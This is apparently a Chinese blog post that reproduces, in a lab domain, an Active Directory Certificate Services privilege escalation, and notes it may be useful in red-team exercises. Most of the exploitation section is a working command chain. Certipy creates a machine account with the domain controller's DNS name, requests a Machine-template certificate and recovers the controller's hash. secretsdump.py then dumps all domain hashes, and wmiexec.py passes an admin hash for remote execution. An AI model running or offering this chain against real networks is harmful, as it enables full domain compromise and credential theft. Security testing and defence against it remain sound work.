五月份爆出的漏洞,利用域控证书服务进行域内提权,危害貌似挺大的。说不定近期HVV能用到,记录备忘。

0x01 利用条件

  1. 一个域内普通账号
  2. 域控开启证书服务
  3. 能够和域控进行正常通信

拓扑如下

域控名:xxxx.test
域控IP:192.168.200.105(Win2012)
域主机:192.168.200.160(Win2008)
    域账号:xxxx.test\888---XXXXXX
攻击机:Kali(通过Socks代理进内网)

0x02 开启证书服务

如何开启服务网上文章一堆,找一篇文章跟着教程就好。主要是我第一遍安装,忘记截图了,不太想再安装一遍,狂点下一步就好...........

0x03 复现过程

前提:获取了域主机(Win2008)的权限,取得了普通权限的域账号,通过Frp代理到了VPS

  1. 安装certipy工具
git clone https://github.com/ly4k/Certipy.git
python3 setup.py install

踩坑点:如果提示ModuleNotFoundError: No module named 'impacket.examples.utils',直接卸载python3-impacket,再重新安装就好了

  1. 查询域控CA名和域控名
proxychains certipy find "xxxx.test/888:[email protected]" -debug
  1. 修改Kali的Hosts

域控IP 域控名
域控IP CA Name

  1. certipy利用普通域账号创建一个机器账号(后面就是利用这个机器账号冒充域管理员)
proxychains certipy account create "xxxx.test/888:[email protected]" -dc-ip 192.168.200.105 -user mari0er -dns DC.xxxx.test
  1. certipy利用机器账号申请一个证书(机器账号属性和域管一样,被认为是域管)
proxychains certipy req -dc-ip 192.168.200.105 "xxxx.test/mari0er$:[email protected]" -ca xxxx-DC-CA -template Machine -debug
  1. certipy利用证书获取机器账号的hash
proxychains certipy auth -pfx dc.pfx -dc-ip 192.168.200.105 -debug


注意:这里可能会遇到一个报错,提示krb_ap_err_skew(clock skew too great)经过老长时间的查证,这是由于Kali时间和域控不一致导致的,真TM坑啊......

直接和域控同步一下时间即可解决

  1. secretsdump.py利用域控机器账号hash获得域管理员账户的hash
proxychains python3 secretsdump.py 'xxxx.test/[email protected]' -hash :5a3907e98unhsy74nff9869a3660f

可以看到导出了所有用户(包括域内其他机器Win7和Win10)的hash值

  1. wmiexec.py利用获取的域管hash进行提权
proxychains python3 wmiexec.py -hashes naod2bdbboahd787699:ohodansdo2ou0f2he0ci2nc [email protected]

0x04 总结

通过代理可以看到需要开启135、445等端口,需要注意。同时,如何查询域控IP,查询时间服务器等可以参考这篇文章